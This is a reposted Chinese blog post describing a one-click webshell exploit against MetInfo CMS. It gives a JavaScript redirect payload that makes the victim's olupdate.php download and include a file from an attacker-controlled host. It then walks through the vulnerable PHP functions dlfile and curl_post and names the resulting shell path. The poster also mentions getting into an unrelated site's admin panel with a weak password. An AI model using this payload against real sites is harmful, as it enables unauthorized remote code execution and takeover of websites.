【转载】MetInfo多处框架缺陷 一键Getshell

PS:

刚上班没多久,眼看作为网络管理员来的,但是公司的垃圾网站外包给别人,各种渣,动不动就还崩溃无法访问。当时准备测试的时候因为无法访问,所以指向了旁站。

旁站除了几个感觉没有什么希望的静态之外,还要一个就是MetInfo cms的站,当时直接弱口令直接进了后台,省去了很多工作,但是网上那些普通的getshell的方法都没成功,

因为这个后台好像精简了一样,编辑器上传有白名单,也是没成功,事情也过去了一段时间了,这里分享一个网上的成功getshell文章。

这是重点

payload

window.location.href="http://受害者域名/admin/system/olupdate.php?action=down&met_host=攻击者域名(不要加http://)/vul.html"

vul.html里的内容

这是怎么办到的呢?

关联代码:

/admin/system/olupdate.php:274行

else if($action=='down'){/*下载文件*/
   $adminfile=$url_array[count($url_array)-2];
   $return=dlfile("$addr/dlfilelist.txt","../update/$addr/dlfilelist.txt");
   if($return!=1){
      dl_error("{$lang_updaterr8}".dlerror($return)."({$adminfile}/update/$addr/dlfilelist.txt)",$type,$olid,$ver,$addr,$action);
   }
   $return=dlfile("$addr/dladd.php","../update/$addr/dladd.php");
   if($return!=1){
      dl_error("{$lang_updaterr8}".dlerror($return)."({$adminfile}/update/$addr/dladd.php)",$type,$olid,$ver,$addr,$action);
   }
   $dladd=file_get_contents("../update/$addr/dladd.php");
   if($dladd!="No Date"){
      include "../update/$addr/dladd.php";
   }
   $dladd=file_get_contents("../update/$addr/dladd.php");
if($dladd!="No Date"){
   include "../update/$addr/dladd.php";
}

跟踪dlfile函数

include/export.func.php:112行

public function dlfile($urlfrom, $urlto, $checksum = '',$timeout = 30) {
   global $_M;
   $post_data = array('urlfrom'=>$urlfrom, 'checknum'=>$checksum, 'cmsver'=>$_M['config']['metcms_v']);
   $result = $this->curl_post($post_data, $timeout);
   $link = $this->error_no($result);
   if($link != 1){
      return $link;
   }
   if(substr($result,-7) == 'metinfo'){   
      $result=substr($result,0,-7);
      $link = $this->error_no($result);
      if ($link == 1) {
         if ($urlto) {
            if(!file_exists($urlto)){
               makefile($urlto);
            }
            $return = file_put_contents($urlto,$result);      
            if (!$return) {
               return $this->error_no('No filepower');
            } else {
               return 1;
            }
         } else {
            return $result;
         }
      }else{
         return $link;
      }
   } else {
      return $this->error_no('Timeout');
   }

}

调用了curl_post()

function curl_post($post,$timeout){
global $met_weburl,$met_host,$met_file;
$host=$met_host;
$file=$met_file;
   if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
      $curlHandle=curl_init(); 
      curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file);
      curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
      curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1); 
      curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
      curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
      curl_setopt($curlHandle,CURLOPT_POST, 1);  
      curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
      $result=curl_exec($curlHandle); 
      curl_close($curlHandle); 
   }

其中

$host=$met_host;
$file=$met_file;

两个全局变量都是我们可以伪造的,那么就可以用这个函数来下载我们远程服务器上的webshell了,框架里的检测也被我的payload bypass掉了。

admin/system/olupdate.php:286

行还include了我远程下载的文件,执行了其中的代码。

于是Metinfo webshell就已经生成了

​admin/system/assert.php

以上是getshell的方法,当然,原作者还给出了添加管理员的方法。

 

原文出处:MetInfo多处框架缺陷 一键Getshell

aimorc

我还没有学会写个人说明!

1 条评论

  1. 很6的样子,都有个黑客的梦,往事如沙,风一吹便散了。

Leave a Reply

Your email address will not be published. Required fields are marked *

微信扫一扫,分享到朋友圈

【转载】MetInfo多处框架缺陷 一键Getshell
返回顶部

显示

忘记密码?

显示

显示

获取验证码

Close